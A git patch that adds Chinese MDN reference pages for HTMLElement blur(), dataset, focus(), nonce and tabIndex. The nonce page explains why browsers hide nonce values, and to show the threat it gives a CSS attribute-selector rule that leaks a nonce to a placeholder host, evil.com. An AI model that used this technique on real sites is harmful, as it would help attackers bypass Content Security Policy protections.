From 310fd066e91f454b990372ffa30e803cc8120975 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:40 +0100 Subject: unslug zh-cn: move --- .../web/api/htmlorforeignelement/blur/index.html | 24 ++++ .../api/htmlorforeignelement/dataset/index.html | 123 ++++++++++++++++ .../web/api/htmlorforeignelement/focus/index.html | 158 +++++++++++++++++++++ .../web/api/htmlorforeignelement/nonce/index.html | 60 ++++++++ .../api/htmlorforeignelement/tabindex/index.html | 49 +++++++ 5 files changed, 414 insertions(+) create mode 100644 files/zh-cn/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/nonce/index.html create mode 100644 files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html (limited to 'files/zh-cn/web/api/htmlorforeignelement') diff --git a/files/zh-cn/web/api/htmlorforeignelement/blur/index.html b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..96452abcc0 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLElement.blur() +slug: Web/API/HTMLElement/blur +tags: + - API + - HTML DOM + - HTMLElement + - Method + - Reference +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ APIRef() }}

+

概述

+

blur方法用来移除当前元素所获得的键盘焦点.

+

语法

+
element.blur()
+
+

规范

+

blur

+

相关链接

+ +

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射，每个自定义数据属性的一个条目。

+ +

请注意，dataset 属性本身可以被读取，但不能直接写入。相反，所有的写入必须是它的“属性”，这反过来表示数据属性。

+ +

还要注意，一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称，但它们总是相似的：

+ + + +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则，该规则是说它只可以包含字母，数字和下面的字符： dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则：

+ + + +

与此相反的转换，即将键值转换为一个属性的名称，会遵循下面的规则：

+ + + +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如，属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点，如果被指定的元素可以获取到焦点，焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素，也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上！</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上！</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字，被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中，有nonce属性的元素只能在脚本中使用（不可以在其他渠道使用，比如css属性选择器）。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前，并不是所有的浏览器都支持 nonce IDL属性，因此在实际应用场景中，尝试使用getAttribute 作为备选：

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而，最新的浏览器版本都隐藏了 nonce 值（返回一个空值）。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值，比如下面这种方式：

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ + + +

Tab键的遍历顺序是这样的：

+ +
    +
  1. 对于tabIndex值为正数的元素，如果多个元素的tabIndex值相同，则以他们出现在字符流中的次序来遍历；否则按tabIndex值由小到大的顺序来遍历。
    2. +
  2. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素，按照他们出现在字符流中的次序来遍历。
    3. +
  3. 处于不可用状态的元素不会被遍历到。
    4. +
+ +

支持tabIndex属性的元素有：a,area,button,input,object,select和textarea。

+ +

tabIndex的值不需要是连续的，也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

-- cgit v1.2.3-54-g00ecf